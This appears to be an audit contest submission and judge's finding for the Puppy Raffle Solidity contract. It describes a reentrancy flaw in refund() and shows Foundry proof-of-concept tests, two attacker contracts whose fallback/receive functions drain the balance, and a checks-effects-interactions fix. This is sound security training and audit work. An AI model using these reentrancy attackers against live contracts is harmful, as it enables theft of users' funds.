Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

✅Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Root + Impact: Reentrancy attack in PuppyRaffle::refund allows entrant to drain raffle balance

Description

The PuppyRaffle::refund function does not follow the CEI fomart (Checks, effects, interactions) and as a result, enables participants to drain the contract balance.

In the PuppyRaffle::refund function, we first make an external call to the msg.sender address and only after making that external call do we update the PuppyRaffle::players array.

A player who has entered the raffle could have a fallback/recieve function that calls the PuppyRaffle::refund function again and claim another refund. They could contiune the circle till the contract balance is drained.

```javascript
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
@> payable(msg.sender).sendValue(entranceFee);
@> players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}
```
// Root cause in the codebase with @> marks to highlight the relevant section

Risk

Likelihood:

  • When user enterRaffle

  • Then immediately calling the `refund` function

Impact:

All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` functions that calls `PuppyRaffle::refund`
3. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance
**Proof of Code**
<details>
<summary>Code</summary>
Place the following into `PuppleRaffleTest.t.sol`
```javascript
function test_ReentrancyRefund() public {
address[] memory players = new address[](4);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = playerFour;
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
ReentracyAttacker attackerContract = new ReentracyAttacker(puppyRaffle);
address attackUser = makeAddr("attackUser");
vm.deal(attackUser, 1 ether);
uint256 startingAttackContractBalance = address(attackerContract).balance;
uint256 startingContractBalance = address(puppyRaffle).balance;
// attack
vm.prank(attackUser);
attackerContract.attack{value: entranceFee}();
console.log("starting attacker contract balance: ", startingAttackContractBalance);
console.log("starting contract balance: ", startingContractBalance);
console.log("ending attacker contract balance: ", address(attackerContract).balance);
console.log("ending contract balance: ", address(puppyRaffle).balance);
}
```
And this contract as well.
```javascript
contract ReentracyAttacker {
PuppyRaffle puppyRaffle;
uint256 entranceFee;
uint256 attackerIndex;
constructor(PuppyRaffle _puppyRaffle) {
puppyRaffle = _puppyRaffle;
entranceFee = puppyRaffle.entranceFee();
}
function attack() external payable {
address[] memory players = new address[](1);
players[0] = address(this);
puppyRaffle.enterRaffle{value: entranceFee}(players);
attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
puppyRaffle.refund(attackerIndex);
}
function _stealMoney() internal {
if(address(puppyRaffle).balance >= entranceFee) {
puppyRaffle.refund(attackerIndex);
}
}
fallback() external payable {
_stealMoney();
}
receive() external payable {
_stealMoney();
}
}
```
</details>

Recommended Mitigation

To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emmission up as well.
```diff
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+ players[playerIndex] = address(0);
+ emit RaffleRefunded(playerAddress);
payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
- emit RaffleRefunded(playerAddress);
}
```
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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